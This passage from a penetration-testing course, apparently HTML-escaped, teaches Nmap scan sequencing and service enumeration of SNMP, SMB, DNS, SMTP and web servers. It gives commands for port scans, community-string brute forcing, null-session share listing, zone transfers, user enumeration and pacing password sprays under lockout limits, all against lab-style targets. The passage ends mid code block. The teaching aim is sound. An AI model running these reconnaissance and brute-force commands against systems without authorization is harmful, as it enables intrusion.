  
  3.2.3 Practice — Nmap in a Real Engagement Context
&lt;/h2&gt;
&lt;h3&gt;
  
  
  How a Real Scan Sequence Looks
&lt;/h3&gt;

&lt;p&gt;In a professional engagement against a network like Pixel Paradise's, the scanning methodology follows a logical sequence that builds intelligence progressively.&lt;/p&gt;

&lt;p&gt;You start with host discovery across the entire in-scope IP range. This tells you which addresses are live and what their MAC vendor identifiers are — giving immediate clues about device types. A block of addresses all resolving to VMware MAC prefixes suggests a virtualization environment. Cisco MAC addresses suggest network equipment. Raspberry Pi or unknown vendors might indicate IoT devices.&lt;/p&gt;

&lt;p&gt;With the live host list in hand, you run an initial fast scan of the most common ports against all live hosts simultaneously. The goal is to get a broad overview quickly — which hosts are running web services, which are running Windows file sharing, which have SSH. This is typically a SYN scan of the top 1000 ports with version detection enabled.&lt;/p&gt;

&lt;p&gt;For hosts that look particularly interesting based on the initial scan, you run a full port scan of all 65,535 TCP ports. This takes longer but ensures you do not miss services running on non-standard ports — a web application on port 8080, a database on port 5984, an administrative interface on port 9090.&lt;/p&gt;

&lt;p&gt;Parallel to the TCP full scan, you run a targeted UDP scan of the most important UDP ports — 53, 67, 69, 123, 161, 162, 500, 514, and a few others depending on the environment. In a corporate network, SNMP is almost always present; whether it is secured is the question.&lt;/p&gt;

&lt;p&gt;Finally, for each discovered service, you run targeted Nmap scripts and manual enumeration tools to extract detailed intelligence. A host with SMB open gets enum4linux run against it. A host with SNMP open gets snmpwalk. A host with a web server gets nikto and gobuster.&lt;/p&gt;
&lt;h3&gt;
  
  
  Nmap Commands in Professional Context
&lt;/h3&gt;

&lt;p&gt;When running these scans, the commands follow patterns that you will use repeatedly throughout your career.&lt;/p&gt;

&lt;p&gt;For initial host discovery across a network range, the command sends ARP requests on the local network and ICMP/TCP probes to remote networks, storing results to a file that subsequent scans use as input. The key options ensure no reverse DNS lookups slow things down (the &lt;code&gt;-n&lt;/code&gt; flag tells Nmap not to bother converting IP addresses to hostnames during discovery, since we just need to know which hosts are alive).&lt;/p&gt;

&lt;p&gt;For the initial broad port scan with service detection, the options combine a SYN scan (&lt;code&gt;-sS&lt;/code&gt;) with service version detection (&lt;code&gt;-sV&lt;/code&gt;) and the default NSE scripts (&lt;code&gt;-sC&lt;/code&gt;). The output goes to all three formats simultaneously (&lt;code&gt;-oA&lt;/code&gt;) so you have both human-readable results and machine-parseable XML for later processing.&lt;/p&gt;

&lt;p&gt;For the full TCP port scan, the critical option is &lt;code&gt;-p-&lt;/code&gt; which tells Nmap to scan all 65535 ports rather than just the top 1000. This takes longer but is essential for comprehensive coverage.&lt;/p&gt;

&lt;p&gt;For UDP, the approach is to limit the scope to high-value ports and combine with version detection so Nmap sends protocol-specific probes rather than generic UDP packets — this dramatically improves accuracy.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Host Discovery&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 10.10.10.0/24 &lt;span class="nt"&gt;-oG&lt;/span&gt; live_hosts.gnmap
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Up"&lt;/span&gt; live_hosts.gnmap | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; live_hosts.txt

&lt;span class="c"&gt;# 2. Initial Broad Scan (top 1000 ports + version + default scripts)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-iL&lt;/span&gt; live_hosts.txt &lt;span class="nt"&gt;-oA&lt;/span&gt; initial_scan

&lt;span class="c"&gt;# 3. Full TCP Port Scan (all 65535 ports)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-iL&lt;/span&gt; live_hosts.txt &lt;span class="nt"&gt;-oA&lt;/span&gt; full_tcp_scan

&lt;span class="c"&gt;# 4. Targeted UDP Scan (key UDP services)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 53,67,69,123,161,162,500,514,1900 &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-iL&lt;/span&gt; live_hosts.txt &lt;span class="nt"&gt;-oA&lt;/span&gt; udp_scan

&lt;span class="c"&gt;# 5. OS Detection (against confirmed live hosts)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-iL&lt;/span&gt; live_hosts.txt &lt;span class="nt"&gt;-oA&lt;/span&gt; os_detection

&lt;span class="c"&gt;# 6. Comprehensive single-host scan (for high-interest targets)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;--reason&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 10.10.10.50 &lt;span class="nt"&gt;-oA&lt;/span&gt; host_50_full
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Reading Nmap Output — What the Results Tell You
&lt;/h3&gt;

&lt;p&gt;When Nmap reports its findings, each piece of information carries specific intelligence. An open port 22 running OpenSSH 7.4 on an internal server means that SSH is accessible, and OpenSSH 7.4 is a version released in 2016 — cross-referencing against the CVE database reveals multiple vulnerabilities including CVE-2018-15919 (username enumeration) and CVE-2016-6515 (denial of service). Neither might be immediately exploitable, but the version date tells you the server has not been patched in years — which implies other services on this host are similarly outdated.&lt;/p&gt;

&lt;p&gt;An open port 3389 (RDP) visible on the network from an external perspective is almost always a critical finding. RDP has been the vector for numerous high-impact attacks including BlueKeep (CVE-2019-0708) and DejaBlue (CVE-2019-1182). Even if these specific vulnerabilities are patched, RDP brute force and credential stuffing attacks remain highly effective.&lt;/p&gt;

&lt;p&gt;A host running both SMB (port 445) and an old Windows version detected by OS fingerprinting is a potential EternalBlue target — the vulnerability at the core of WannaCry and NotPetya. Nmap's &lt;code&gt;smb-vuln-ms17-010&lt;/code&gt; script confirms this in seconds.&lt;/p&gt;




&lt;h2&gt;
  
  
  3.2.4 Types of Enumeration — Extracting Intelligence from Open Ports
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Difference Between Scanning and Enumeration
&lt;/h3&gt;

&lt;p&gt;Port scanning tells you a door is open. Enumeration tells you what is behind that door, who has the keys, and what the security system looks like. It is the transition from reconnaissance to pre-exploitation intelligence gathering.&lt;/p&gt;

&lt;p&gt;When you find port 445 open (SMB), you know Windows file sharing is running. Enumeration tells you the list of shared folders, the list of user accounts on the system, the domain it belongs to, the password policy (how complex passwords must be, how many failed attempts trigger a lockout), and whether guest access is allowed. This is not abstract security information — it is the specific intelligence needed to decide which attack approach to take.&lt;/p&gt;

&lt;h3&gt;
  
  
  Banner Grabbing — The Simplest Form of Enumeration
&lt;/h3&gt;

&lt;p&gt;The simplest enumeration technique is banner grabbing. When most network services accept a new connection, they announce themselves by sending a text string identifying the software and its version. This string is called a "banner."&lt;/p&gt;

&lt;p&gt;Imagine walking into a hotel and the receptionist says "Welcome to the Grand Hotel, this is Janet speaking." You have just learned where you are and who you are dealing with. Banner grabbing is the network equivalent — you connect to a service and it tells you who it is.&lt;/p&gt;

&lt;p&gt;FTP (File Transfer Protocol, port 21) is particularly generous with information: connecting to an FTP server typically produces a response like &lt;code&gt;220 vsftpd 3.0.3&lt;/code&gt; — directly revealing the software (vsftpd) and version (3.0.3). SSH servers send their version in the initial handshake: &lt;code&gt;SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5&lt;/code&gt; reveals not just OpenSSH 8.2p1 but the Ubuntu package version, which allows identification of the exact Ubuntu distribution and patch level.&lt;/p&gt;

&lt;p&gt;HTTP servers include version information in the &lt;code&gt;Server&lt;/code&gt; header of their responses: &lt;code&gt;Server: Apache/2.4.41 (Ubuntu)&lt;/code&gt; or &lt;code&gt;Server: Microsoft-IIS/10.0&lt;/code&gt;. The &lt;code&gt;X-Powered-By&lt;/code&gt; header often adds a second layer: &lt;code&gt;X-Powered-By: PHP/7.4.3&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Security-conscious server administrators often configure their services to remove or falsify these banners. Apache can be configured to report &lt;code&gt;Server: Apache&lt;/code&gt; without the version, or even &lt;code&gt;Server: Unknown&lt;/code&gt;. Nginx can be configured to send no Server header at all. This is security through obscurity — it does not fix any vulnerability, but it removes one easy source of information for attackers.&lt;/p&gt;

&lt;p&gt;Even with falsified banners, though, the specific behavior of a service — which features it supports, how it formats error messages, the timing of its responses — often reveals the real software and version. Nmap's version detection database is built around these behavioral signatures, not just banner strings.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# The simplest banner grab — using netcat&lt;/span&gt;
nc &lt;span class="nt"&gt;-v&lt;/span&gt; target 21      &lt;span class="c"&gt;# FTP — listen for the banner it sends immediately&lt;/span&gt;
nc &lt;span class="nt"&gt;-v&lt;/span&gt; target 22      &lt;span class="c"&gt;# SSH — listen for the SSH identification string&lt;/span&gt;
nc &lt;span class="nt"&gt;-v&lt;/span&gt; target 25      &lt;span class="c"&gt;# SMTP — listen for the SMTP greeting&lt;/span&gt;

&lt;span class="c"&gt;# For HTTP, you need to send a request before getting a response&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"HEAD / HTTP/1.0&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | nc target 80

&lt;span class="c"&gt;# OpenSSL for HTTPS — shows both the TLS handshake details and the HTTP response&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target:443 &lt;span class="nt"&gt;-quiet&lt;/span&gt;

&lt;span class="c"&gt;# curl is often the most practical for HTTP/HTTPS banner grabbing&lt;/span&gt;
&lt;span class="c"&gt;# -I means "send HEAD request and show only headers"&lt;/span&gt;
&lt;span class="c"&gt;# -k means "do not verify SSL certificate" (useful for self-signed certs)&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; http://target
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="nt"&gt;-k&lt;/span&gt; https://target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  SNMP Enumeration — The Network's Open Book
&lt;/h3&gt;

&lt;p&gt;SNMP deserves extensive discussion because it represents one of the most impactful enumeration findings possible. A single SNMP-enabled device with the default "public" community string can hand you a complete map of the internal network.&lt;/p&gt;

&lt;p&gt;SNMP is a protocol designed for network management. It works on a simple query-response model: a management station sends queries to devices asking for specific pieces of management information, and the devices respond with that information. The information is organized in a hierarchical database called the Management Information Base (MIB).&lt;/p&gt;

&lt;p&gt;The security model in SNMP versions 1 and 2c (the versions still predominantly in use) is embarrassingly simple: a shared password called a "community string." The read-only community string (almost universally "public" by default) allows any device that knows it to query any information the MIB exposes. The read-write community string ("private" by default) allows not just querying but modifying device configuration.&lt;/p&gt;

&lt;p&gt;What can SNMP expose on a network device? Everything. The system description (device model, firmware version), the hostname, the list of all network interfaces and their IP addresses, the routing table (revealing network architecture), the ARP table (revealing every IP-to-MAC mapping the device has seen — effectively a list of all hosts on connected networks), the list of open TCP and UDP connections, BGP and OSPF neighbor information, interface bandwidth utilization, and error statistics.&lt;/p&gt;

&lt;p&gt;On a server, SNMP exposes the complete list of running processes (including their command-line arguments, which sometimes include passwords), the list of installed software with version numbers, network connection state (equivalent to running netstat), and system performance data.&lt;/p&gt;

&lt;p&gt;Finding SNMP open with default community strings on a core router during a penetration test is a major finding. It means the router's entire configuration is readable — including ACLs, routing policies, and potentially credentials stored in the configuration. If the read-write community string is also the default "private," the router can be reconfigured entirely without ever exploiting a single software vulnerability.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# First, confirm SNMP is running and find the community string&lt;/span&gt;
&lt;span class="c"&gt;# onesixtyone is a fast SNMP community string brute forcer&lt;/span&gt;
onesixtyone &lt;span class="nt"&gt;-c&lt;/span&gt; /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.50

&lt;span class="c"&gt;# snmpwalk traverses the entire MIB tree under a given OID&lt;/span&gt;
&lt;span class="c"&gt;# .1 is the root of the entire MIB tree — this walks everything&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 10.10.10.50 .1

&lt;span class="c"&gt;# Target specific, high-value MIB branches:&lt;/span&gt;

&lt;span class="c"&gt;# System information — hostname, OS description, contact, location&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 10.10.10.50 system

&lt;span class="c"&gt;# All network interfaces and their IP addresses&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 10.10.10.50 interfaces
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 10.10.10.50 ipAddrTable

&lt;span class="c"&gt;# ARP table — every IP-to-MAC the device has seen&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 10.10.10.50 ipNetToMediaTable

&lt;span class="c"&gt;# Routing table — network topology&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 10.10.10.50 ipRouteTable

&lt;span class="c"&gt;# Running processes (on servers)&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 10.10.10.50 hrSWRunName

&lt;span class="c"&gt;# Installed software (on servers)&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 10.10.10.50 hrSWInstalledName

&lt;span class="c"&gt;# snmp-check provides a much more readable formatted output&lt;/span&gt;
snmp-check &lt;span class="nt"&gt;-t&lt;/span&gt; 10.10.10.50 &lt;span class="nt"&gt;-c&lt;/span&gt; public &lt;span class="nt"&gt;-v&lt;/span&gt; 2c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  SMB Enumeration — Windows Network Intelligence
&lt;/h3&gt;

&lt;p&gt;SMB (Server Message Block) is the protocol Microsoft Windows uses for file sharing, printer sharing, and various inter-process communication functions. It has been central to Windows networking since the 1980s and remains the backbone of virtually every Windows enterprise environment today.&lt;/p&gt;

&lt;p&gt;From a penetration testing perspective, SMB is one of the richest sources of intelligence on a Windows network — and also one of the most historically vulnerable protocols. EternalBlue, the exploit used by WannaCry ransomware in 2017, targeted SMB. Before that, MS08-067 (the "Conficker" vulnerability from 2008) also exploited SMB. Understanding SMB enumeration is fundamental to Windows network penetration testing.&lt;/p&gt;

&lt;p&gt;What can SMB enumeration reveal? It starts with basic network information: the hostname of the target, the domain or workgroup it belongs to, and the operating system version. It then extends to the security configuration: whether null sessions are allowed (connecting without credentials), whether the Guest account is enabled, and the password policy (minimum length, complexity requirements, lockout threshold).&lt;/p&gt;

&lt;p&gt;The password policy is particularly important. If the account lockout threshold is 5 (five failed attempts before lockout), you can attempt 4 passwords per account without triggering a lockout. If the lockout threshold is 0 (no lockout), you can attempt unlimited passwords. If the lockout observation window is 30 minutes (attempts reset every 30 minutes), you can attempt 4 passwords now, wait 30 minutes, attempt 4 more, and continue indefinitely. This intelligence directly determines the viability and strategy of password spray attacks.&lt;/p&gt;

&lt;p&gt;SMB enumeration also reveals the list of shared folders. Shares with names ending in &lt;code&gt;$&lt;/code&gt; are "hidden" shares — they do not appear when browsing the network — but they are visible through enumeration. The default administrative shares &lt;code&gt;C$&lt;/code&gt;, &lt;code&gt;D$&lt;/code&gt;, &lt;code&gt;ADMIN$&lt;/code&gt;, and &lt;code&gt;IPC$&lt;/code&gt; are present on every Windows machine. Access to &lt;code&gt;ADMIN$&lt;/code&gt; allows file upload to the Windows directory. Access to &lt;code&gt;C$&lt;/code&gt; allows reading and writing the entire C drive.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# enum4linux is the standard SMB enumeration tool for Linux&lt;/span&gt;
&lt;span class="c"&gt;# -a performs a full enumeration (all options)&lt;/span&gt;
enum4linux &lt;span class="nt"&gt;-a&lt;/span&gt; 10.10.10.50

&lt;span class="c"&gt;# What enum4linux tries to find:&lt;/span&gt;
&lt;span class="c"&gt;# Workgroup/domain name&lt;/span&gt;
&lt;span class="c"&gt;# NetBIOS hostname  &lt;/span&gt;
&lt;span class="c"&gt;# OS version&lt;/span&gt;
&lt;span class="c"&gt;# SMB shares (including hidden $ shares)&lt;/span&gt;
&lt;span class="c"&gt;# User accounts&lt;/span&gt;
&lt;span class="c"&gt;# Group memberships&lt;/span&gt;
&lt;span class="c"&gt;# Password policy&lt;/span&gt;
&lt;span class="c"&gt;# Printer information&lt;/span&gt;

&lt;span class="c"&gt;# enum4linux-ng is the modern rewrite with better output formatting&lt;/span&gt;
enum4linux-ng &lt;span class="nt"&gt;-A&lt;/span&gt; 10.10.10.50

&lt;span class="c"&gt;# smbclient lists shares — equivalent to "Network Places" in Windows&lt;/span&gt;
&lt;span class="c"&gt;# The -L flag means "list shares"&lt;/span&gt;
&lt;span class="c"&gt;# The // means "connect to this server"&lt;/span&gt;
&lt;span class="c"&gt;# The -N flag means "no password" (null session)&lt;/span&gt;
smbclient &lt;span class="nt"&gt;-L&lt;/span&gt; //10.10.10.50 &lt;span class="nt"&gt;-N&lt;/span&gt;

&lt;span class="c"&gt;# smbmap shows shares and your permission level on each&lt;/span&gt;
smbmap &lt;span class="nt"&gt;-H&lt;/span&gt; 10.10.10.50                          &lt;span class="c"&gt;# Anonymous/null session&lt;/span&gt;
smbmap &lt;span class="nt"&gt;-H&lt;/span&gt; 10.10.10.50 &lt;span class="nt"&gt;-u&lt;/span&gt; john &lt;span class="nt"&gt;-p&lt;/span&gt; Password123  &lt;span class="c"&gt;# Authenticated&lt;/span&gt;

&lt;span class="c"&gt;# Nmap SMB scripts for specific intelligence gathering&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-enum-shares 10.10.10.50
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-enum-users 10.10.10.50
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-security-mode 10.10.10.50
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-vuln-ms17-010 10.10.10.50   &lt;span class="c"&gt;# Check for EternalBlue&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; &lt;span class="s2"&gt;"smb-vuln-*"&lt;/span&gt; 10.10.10.50        &lt;span class="c"&gt;# All SMB vulnerability checks&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  DNS Enumeration (Active)
&lt;/h3&gt;

&lt;p&gt;While passive DNS reconnaissance (covered in Section 3.1) uses third-party services to look up DNS records without touching the target's DNS servers, active DNS enumeration directly queries the target's DNS infrastructure.&lt;/p&gt;

&lt;p&gt;The most impactful active DNS technique is the &lt;strong&gt;zone transfer&lt;/strong&gt; — requesting that the target's DNS server send you its complete zone file. A DNS zone file contains every DNS record for a domain: every A record (hostname to IP mapping), every CNAME (alias), every MX (mail server), every TXT record, and every SRV record. A successful zone transfer is equivalent to getting a complete inventory of every named resource in the organization's DNS namespace.&lt;/p&gt;

&lt;p&gt;Zone transfers are supposed to be restricted to authorized secondary DNS servers — the secondary servers that need to synchronize zone data from the primary. Misconfigured DNS servers allow zone transfer requests from any IP address, which means a penetration tester can retrieve the entire DNS database in seconds.&lt;/p&gt;

&lt;p&gt;In practice, allowing unrestricted zone transfers is a recognized security misconfiguration that gets flagged in security assessments. Many organizations have corrected this. But it is always worth attempting, because the payoff of a successful zone transfer — an instant, complete inventory of the organization's DNS namespace — is significant.&lt;/p&gt;

&lt;p&gt;Beyond zone transfers, active DNS enumeration includes brute force subdomain discovery (systematically querying the DNS server with a list of common subdomain names to find which ones resolve) and DNS walking for DNSSEC-enabled zones (which exposes the complete list of records in a zone through the NSEC record chain).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Zone transfer attempt — always try this first&lt;/span&gt;
dig axfr targetco.com @ns1.targetco.com

&lt;span class="c"&gt;# If zone transfer fails, brute force subdomains&lt;/span&gt;
&lt;span class="c"&gt;# gobuster's DNS mode sends DNS queries for each word in the wordlist&lt;/span&gt;
gobuster dns &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt &lt;span class="nt"&gt;-r&lt;/span&gt; 8.8.8.8

&lt;span class="c"&gt;# dnsrecon is a comprehensive DNS enumeration tool&lt;/span&gt;
&lt;span class="c"&gt;# -t std runs standard enumeration (SOA, NS, A, AAAA, MX, TXT, SRV)&lt;/span&gt;
&lt;span class="c"&gt;# -t axfr attempts zone transfer&lt;/span&gt;
&lt;span class="c"&gt;# -t brt brute forces subdomains&lt;/span&gt;
dnsrecon &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-t&lt;/span&gt; std
dnsrecon &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-t&lt;/span&gt; axfr
dnsrecon &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-t&lt;/span&gt; brt &lt;span class="nt"&gt;-D&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

&lt;span class="c"&gt;# fierce does DNS reconnaissance specifically looking for network ranges&lt;/span&gt;
fierce &lt;span class="nt"&gt;--domain&lt;/span&gt; targetco.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  SMTP Enumeration — Verifying Email Accounts
&lt;/h3&gt;

&lt;p&gt;SMTP (Simple Mail Transfer Protocol) is the protocol email servers use to send mail. Some SMTP servers support commands that allow querying whether a user account exists — functionality originally designed for legitimate purposes but now primarily used by spammers (to verify email lists) and penetration testers (to enumerate valid accounts for phishing or credential attacks).&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;VRFY command&lt;/strong&gt; asks the SMTP server to verify whether an email address or username is valid. A server responds with "250 OK" if the user exists or "550 No such user" if they do not.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;EXPN command&lt;/strong&gt; expands a mailing list alias — asking the server to tell you all the email addresses that receive mail sent to a given alias. For example, &lt;code&gt;EXPN all-staff@targetco.com&lt;/code&gt; might reveal dozens of individual employee email addresses.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;RCPT TO command&lt;/strong&gt; is the most reliable verification method because it is part of normal mail delivery. An SMTP server must accept or reject each recipient address during mail delivery. Sending a test delivery attempt to &lt;code&gt;RCPT TO: john.smith@targetco.com&lt;/code&gt; and observing whether the server accepts or rejects it reveals whether the account exists — even on servers that have disabled VRFY and EXPN.&lt;/p&gt;

&lt;p&gt;Modern mail servers have largely disabled VRFY and EXPN for security reasons. But many older or poorly configured servers still respond. And the RCPT TO technique remains functional on many servers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Manual SMTP enumeration using netcat&lt;/span&gt;
&lt;span class="c"&gt;# Connect to the SMTP server&lt;/span&gt;
nc &lt;span class="nt"&gt;-v&lt;/span&gt; target 25

&lt;span class="c"&gt;# Once connected, you will see the SMTP banner (e.g., "220 mail.targetco.com ESMTP")&lt;/span&gt;
&lt;span class="c"&gt;# Type these commands:&lt;/span&gt;
EHLO test.com                          &lt;span class="c"&gt;# Introduce yourself, see supported commands&lt;/span&gt;
VRFY john.smith                        &lt;span class="c"&gt;# Check if user exists&lt;/span&gt;
EXPN marketing                         &lt;span class="c"&gt;# Expand a mailing list&lt;/span&gt;
QUIT                                   &lt;span class="c"&gt;# Close connection&lt;/span&gt;

&lt;span class="c"&gt;# smtp-user-enum automates this process across a user list&lt;/span&gt;
&lt;span class="c"&gt;# -M VRFY specifies the method&lt;/span&gt;
&lt;span class="c"&gt;# -U specifies the username file&lt;/span&gt;
&lt;span class="c"&gt;# -t specifies the target&lt;/span&gt;
smtp-user-enum &lt;span class="nt"&gt;-M&lt;/span&gt; VRFY &lt;span class="nt"&gt;-U&lt;/span&gt; /usr/share/seclists/Usernames/Names/names.txt &lt;span class="nt"&gt;-t&lt;/span&gt; target
smtp-user-enum &lt;span class="nt"&gt;-M&lt;/span&gt; RCPT &lt;span class="nt"&gt;-U&lt;/span&gt; users.txt &lt;span class="nt"&gt;-D&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-t&lt;/span&gt; target

&lt;span class="c"&gt;# Nmap scripts for SMTP&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smtp-commands target     &lt;span class="c"&gt;# List supported SMTP commands&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smtp-enum-users target   &lt;span class="c"&gt;# Enumerate users&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smtp-open-relay target   &lt;span class="c"&gt;# Check for open relay (allows anyone to send mail through this server)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  HTTP and Web Service Enumeration
&lt;/h3&gt;

&lt;p&gt;Web services are almost always present in modern penetration testing engagements — even networks that appear to be primarily Windows file sharing environments typically have some web-based management interface. Web service enumeration extends from basic banner grabbing into directory discovery, technology identification, and vulnerability scanning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Directory and file brute forcing&lt;/strong&gt; is the process of systematically requesting paths on a web server to discover hidden or unlisted content. A web application might have an administrative interface at &lt;code&gt;/admin/&lt;/code&gt;, a backup file at &lt;code&gt;/backup.zip&lt;/code&gt;, an API documentation page at &lt;code&gt;/api/v2/docs&lt;/code&gt;, or a test file left by a developer at &lt;code&gt;/test.php&lt;/code&gt;. None of these paths are linked from the main site — but they exist and are accessible. Directory brute forcing finds them.&lt;/p&gt;

&lt;p&gt;The wordlists used for directory brute forcing are critical. SecLists — a curated collection of security-relevant wordlists maintained on GitHub — contains directory wordlists with hundreds of thousands of entries derived from real web applications and historical assessments. The most commonly used are the directory-list files in the &lt;code&gt;/Discovery/Web-Content/&lt;/code&gt; category.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technology identification&lt;/strong&gt; determines what CMS (Content Management System), framework, and programming language the web application uses. A WordPress site (identifiable by the &lt;code&gt;/wp-content/&lt;/code&gt;, &lt;code&gt;/wp-admin/&lt;/code&gt;, and &lt;code&gt;/wp-login.php&lt;/code&gt; paths, as well as the &lt;code&gt;?p=&lt;/code&gt; parameter pattern in URLs) has a completely different vulnerability surface than a Laravel PHP application or a React+Node.js application. Tools like WhatWeb and the Wappalyzer browser extension analyze HTTP response headers, HTML structure, JavaScript includes, and cookie names to identify the technology stack with impressive accuracy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nikto&lt;/strong&gt; is a web vulnerability scanner specifically designed for finding known issues in web server configurations. It checks for thousands of potentially dangerous files and programs, outdated server software, and configuration issues like directory listing being enabled, server headers exposing sensitive information, and missing security headers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Directory and file discovery — gobuster is the industry standard&lt;/span&gt;
&lt;span class="c"&gt;# dir mode = directory/file brute forcing&lt;/span&gt;
